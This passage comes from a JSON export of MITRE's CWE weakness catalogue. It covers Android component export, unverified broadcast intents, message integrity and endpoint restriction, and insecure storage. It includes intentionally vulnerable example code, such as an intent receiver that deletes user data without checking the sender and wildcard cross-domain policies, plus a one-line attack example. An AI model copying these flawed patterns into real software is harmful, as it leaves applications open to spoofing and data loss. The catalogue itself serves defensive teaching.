"<provider></provider>"}, "#text_blocks": ["<provider>", "android:name=\"com.example.vulnerableApp.searchDB\"", "android:authorities=\"com.example.vulnerableApp.searchDB\">", "</provider>"]}, "Body_Text": "Because this content provider is only intended to be used within the application, it does not need to be exported. However, in Android before 4.2, it is automatically exported thus potentially allowing malicious applications to access sensitive information."}]}, "References": {"Reference": {"@External_Reference_ID": "REF-923"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-02", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-01-22", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Importance": "Critical", "Modification_Comment": "Expanded entry to be more general and include all types of Android components that may be improperly exported."}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Background_Details, Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Background_Details"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, References, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description"}], "Previous_Entry_Name": {"@Date": "2014-02-18", "#text": "Improper Restriction of Content Provider Export to Other Applications"}}, "entry_type": "Weakness", "ranking": 150.0}, {"@ID": "925", "@Name": "Improper Verification of Intent by Broadcast Receiver", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The Android application uses a Broadcast Receiver that receives an Intent but does not properly verify that the Intent came from an authorized source.", "Extended_Description": "Certain types of Intents, identified by action string, can only be broadcast by the operating system itself, not by third-party applications. However, when an application registers to receive these implicit system intents, it is also registered to receive any explicit intents. While a malicious application cannot send an implicit system intent, it can send an explicit intent to the target application, which may assume that any received intent is a valid implicit system intent and not an explicit intent from another application.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "940", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": {"@Class": "Mobile", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "Intent Spoofing"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design"}}, "Common_Consequences": {"Consequence": {"Scope": "Integrity", "Impact": "Gain Privileges or Assume Identity", "Note": "Another application can impersonate the operating system and cause the software to perform an unintended action."}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Architecture and Design", "Description": ["Before acting on the Intent, check the Intent Action to make sure it matches the expected System action."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": {"Intro_Text": "The following example demonstrates the weakness.", "Example_Code": [{"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:br": [null, null, null, null, null], "xhtml:i": ["...", "..."], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": {"@style": "margin-left:1em;", "#text": "<action android:name=\"android.intent.action.ACTION_SHUTDOWN\" />"}, "#text": "<intent-filter></intent-filter>"}, "#text": "<receiver android:name=\".ShutdownReceiver\"></receiver>"}}, "#text": "<application>\n                           \n                           \n                           \n                           \n                           \n                           \n                           </application>"}}, "#text": "<manifest package=\"com.example.vulnerableApplication\"></manifest>"}, "#text_blocks": ["<manifest package=\"com.example.vulnerableApplication\">", "<application>", "...", "<receiver android:name=\".ShutdownReceiver\">", "<intent-filter>", "<action android:name=\"android.intent.action.ACTION_SHUTDOWN\" />", "</intent-filter>", "</receiver>", "...", "</application>", "</manifest>"]}, {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null], "xhtml:i": ["...", "..."], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "mainActivity.saveLocalData();mainActivity.stopActivity();"}, "#text": "@Overridepublic void onReceive(final Context context, final Intent intent) {}"}, "#text": "IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);BroadcastReceiver sReceiver = new ShutDownReceiver();registerReceiver(sReceiver, filter);\n                     \n                     \n                     public class ShutdownReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["...", "IntentFilter filter = new IntentFilter(Intent.ACTION_SHUTDOWN);", "BroadcastReceiver sReceiver = new ShutDownReceiver();", "registerReceiver(sReceiver, filter);", "...", "public class ShutdownReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(final Context context, final Intent intent) {", "mainActivity.saveLocalData();", "mainActivity.stopActivity();", "}", "}"]}, {"@Nature": "Attack", "@Language": "Java", "xhtml:div": "window.location = examplescheme://method?parameter=value", "#text_blocks": ["window.location = examplescheme://method?parameter=value"]}], "Body_Text": ["The ShutdownReceiver class will handle the intent:", "Because the method does not confirm that the intent action is the expected system intent, any received intent will trigger the shutdown procedure, as shown here:", "An attacker can use this behavior to cause a denial of service."]}}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2025-20972", "Description": "Mobile app store does not properly verify the intent by the broadcast receiver, allowing local attackers to write arbitrary files", "Link": "https://www.cve.org/CVERecord?id=CVE-2025-20972"}, {"Reference": "CVE-2024-10576", "Description": "Mobile device has an application that exposes a broadcast received that allows local attackers to force a factory reset", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-10576"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": {"@CAPEC_ID": "499"}}, "References": {"Reference": {"@External_Reference_ID": "REF-922", "@Section": "3.2.1"}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Maintenance", "#text": "This entry will be made more comprehensive in later CWE versions."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-06-24", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Alternate_Terms, Demonstrative_Examples, Description, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Applicable_Platforms, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Description"}]}, "entry_type": "Weakness", "ranking": 7.0}, {"@ID": "924", "@Name": "Improper Enforcement of Message Integrity During Transmission in a Communication Channel", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product establishes a communication channel with an endpoint and receives a message from that endpoint, but it does not sufficiently ensure that the message was not modified during transmission.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "345", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "345", "@View_ID": "1003", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Integrity", "Confidentiality"], "Impact": "Gain Privileges or Assume Identity", "Note": "Attackers might be able to modify the message and spoof the endpoint by interfering with the data as it crosses the network or by redirecting the connection to a system under their control. If an attacker can spoof the endpoint, they might gain all the privileges that were intended for the original endpoint."}}, "Mapping_Notes": {"Usage": "Allowed", "Rationale": "This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.", "Comments": "Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.", "Reasons": {"Reason": {"@Type": "Acceptable-Use"}}}, "Notes": {"Note": {"@Type": "Maintenance", "#text": "This entry should be made more comprehensive in later CWE versions, as it is likely an important design flaw that underlies (or chains to) other weaknesses."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-06-23", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships, Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description"}]}, "entry_type": "Weakness", "ranking": 50.0}, {"@ID": "923", "@Name": "Improper Restriction of Communication Channel to Intended Endpoints", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product establishes a communication channel to (or from) an endpoint for privileged or protected operations, but it does not properly ensure that it is communicating with the correct endpoint.", "Extended_Description": {"xhtml:p": "While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness.", "#text_blocks": ["While this issue frequently involves authentication between network-based clients and servers, other types of communication channels and endpoints can have this weakness."]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "284", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": [{"Ordinality": "Primary"}, {"Ordinality": "Resultant"}]}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Not Technology-Specific", "@Prevalence": "Undetermined"}, {"@Class": "Web Based", "@Prevalence": "Undetermined"}, {"@Name": "Web Server", "@Prevalence": "Undetermined"}]}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Architecture and Design", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Integrity", "Confidentiality"], "Impact": "Gain Privileges or Assume Identity", "Note": "Attackers might be able to spoof the intended endpoint from a different system or process, thus gaining the same level of access as the intended endpoint. The attacker could gains all the privileges that were intended for the original endpoint."}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-208", "Intro_Text": "These cross-domain policy files mean to allow Flash and Silverlight applications hosted on other domains to access its data:", "Body_Text": ["Flash crossdomain.xml :", "Silverlight clientaccesspolicy.xml :", "These entries are far too permissive, allowing any Flash or Silverlight application to send requests. A malicious application hosted on any other web site will be able to send requests on behalf of any user tricked into executing it."], "Example_Code": [{"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "<cross-domain-policy xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"xsi:noNamespaceSchemaLocation=\"http://www.adobe.com/xml/schemas/PolicyFile.xsd\"><allow-access-from domain=\"*.example.com\"/><allow-access-from domain=\"*\"/></cross-domain-policy>"}, "#text_blocks": ["<cross-domain-policy xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"", "xsi:noNamespaceSchemaLocation=\"http://www.adobe.com/xml/schemas/PolicyFile.xsd\">", "<allow-access-from domain=\"*.example.com\"/>", "<allow-access-from domain=\"*\"/>", "</cross-domain-policy>"]}, {"@Nature": "Bad", "@Language": "XML", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null, null, null, null, null, null, null], "#text": "<?xml version=\"1.0\" encoding=\"utf-8\"?><access-policy><cross-domain-access><policy><allow-from http-request-headers=\"SOAPAction\"><domain uri=\"*\"/></allow-from><grant-to><resource path=\"/\" include-subpaths=\"true\"/></grant-to></policy></cross-domain-access></access-policy>"}, "#text_blocks": ["<?xml version=\"1.0\" encoding=\"utf-8\"?>", "<access-policy>", "<cross-domain-access>", "<policy>", "<allow-from http-request-headers=\"SOAPAction\">", "<domain uri=\"*\"/>", "</allow-from>", "<grant-to>", "<resource path=\"/\" include-subpaths=\"true\"/>", "</grant-to>", "</policy>", "</cross-domain-access>", "</access-policy>"]}]}, {"@Demonstrative_Example_ID": "DX-112", "Intro_Text": "This Android application will remove a user account when it receives an intent to do so:", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "int userID = intent.getIntExtra(\"userID\");destroyUserData(userID);"}, "#text": "@Overridepublic void onReceive(Context context, Intent intent) {}"}, "#text": "IntentFilter filter = new IntentFilter(\"com.example.RemoveUser\");MyReceiver receiver = new MyReceiver();registerReceiver(receiver, filter);\n                     public class DeleteReceiver extends BroadcastReceiver {}"}, "#text_blocks": ["IntentFilter filter = new IntentFilter(\"com.example.RemoveUser\");", "MyReceiver receiver = new MyReceiver();", "registerReceiver(receiver, filter);", "public class DeleteReceiver extends BroadcastReceiver {", "@Override", "public void onReceive(Context context, Intent intent) {", "int userID = intent.getIntExtra(\"userID\");", "destroyUserData(userID);", "}", "}"]}, "Body_Text": "This application does not check the origin of the intent, thus allowing any malicious application to remove a user. Always check the origin of an intent, or create an allowlist of trusted applications using the manifest.xml file."}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2022-30319", "Description": "S-bus functionality in a home automation product performs access control using an IP allowlist, which can be bypassed by a forged IP address.", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-30319"}, {"Reference": "CVE-2022-22547", "Description": "A troubleshooting tool exposes a web server on a random port between 9000-65535 that could be used for information gathering", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-22547"}, {"Reference": "CVE-2022-4390", "Description": "A WAN interface on a router has firewall restrictions enabled for IPv4, but it does not for IPv6, which is enabled by default", "Link": "https://www.cve.org/CVERecord?id=CVE-2022-4390"}, {"Reference": "CVE-2012-2292", "Description": "Product has a Silverlight cross-domain policy that does not restrict access to another application, which allows remote attackers to bypass the Same Origin Policy.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-2292"}, {"Reference": "CVE-2012-5810", "Description": "Mobile banking application does not verify hostname, leading to financial loss.", "Link": "https://www.cve.org/CVERecord?id=CVE-2012-5810"}, {"Reference": "CVE-2014-1266", "Description": "Chain: incorrect \"goto\" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple \"goto fail\" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). The code's whitespace indentation did not reflect the actual control flow (CWE-1114) and did not explicitly delimit the block (CWE-483), which could have made it more difficult for human code auditors to detect the vulnerability.", "Link": "https://www.cve.org/CVERecord?id=CVE-2014-1266"}, {"Reference": "CVE-2000-1218", "Description": "DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning", "Link": "https://www.cve.org/CVERecord?id=CVE-2000-1218"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": [{"@CAPEC_ID": "161"}, {"@CAPEC_ID": "481"}, {"@CAPEC_ID": "501"}, {"@CAPEC_ID": "697"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-06-23", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-02-18", "Modification_Version": "2.6", "Modification_ReleaseDate": "2014-02-19", "Modification_Comment": "updated Description, Name, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Related_Attack_Patterns, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description, Related_Attack_Patterns, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-10-26", "Modification_Version": "4.13", "Modification_ReleaseDate": "2023-10-26", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description, Relationships"}], "Previous_Entry_Name": {"@Date": "2014-02-18", "#text": "Improper Authentication of Endpoint in a Communication Channel"}}, "entry_type": "Weakness", "ranking": 105.0}, {"@ID": "922", "@Name": "Insecure Storage of Sensitive Information", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product stores sensitive information without properly limiting read or write access by unauthorized actors.", "Dimensions": {"Dimension": [{"@Type": "Behavior-Type", "#text": "Storage"}, {"@Type": "Behavior-Property", "#text": "Insecure"}, {"@Type": "Resource-Type", "#text": "Information"}, {"@Type": "Resource-Property", "#text": "Sensitive"}]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "664", "@View_ID": "1000", "@Ordinal": "Primary"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Modes_Of_Introduction": {"Introduction": [{"Phase": "Architecture and Design", "Note": "OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase."}, {"Phase": "Implementation"}, {"Phase": "System Configuration"}]}, "Common_Consequences": {"Consequence": [{"Scope": "Confidentiality", "Impact": ["Read Application Data", "Read Files or Directories"], "Note": "Attackers can read sensitive information by accessing the unrestricted storage mechanism."}, {"Scope": "Integrity", "Impact": ["Modify Application Data", "Modify Files or Directories"], "Note": "Attackers can overwrite and possibly delete sensitive information by accessing the unrestricted storage mechanism, causing incorrect results and possibly a denial of service."}]}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Demonstrative_Examples": {"Demonstrative_Example": {"@Demonstrative_Example_ID": "DX-153", "Intro_Text": "In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were \"insecure by design\" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.", "Body_Text": "At least one OT product stored a password in plaintext."}}, "Observed_Examples": {"Observed_Example": {"Reference": "CVE-2009-2272", "Description": "password and username stored in cleartext in a cookie", "Link": "https://www.cve.org/CVERecord?id=CVE-2009-2272"}}, "References": {"Reference": {"@External_Reference_ID": "REF-1283"}}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Notes": {"Note": [{"@Type": "Relationship", "#text": "There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data. While data tampering would be visible upon inspection, the integrity and availability of the data is compromised prior to the audit."}, {"@Type": "Maintenance", "#text": "This is a high-level entry that includes children from various parts of the CWE research view (CWE-1000). Currently, most of the information is in these child entries. This entry will be made more comprehensive in later CWE versions."}]}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-06-23", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", 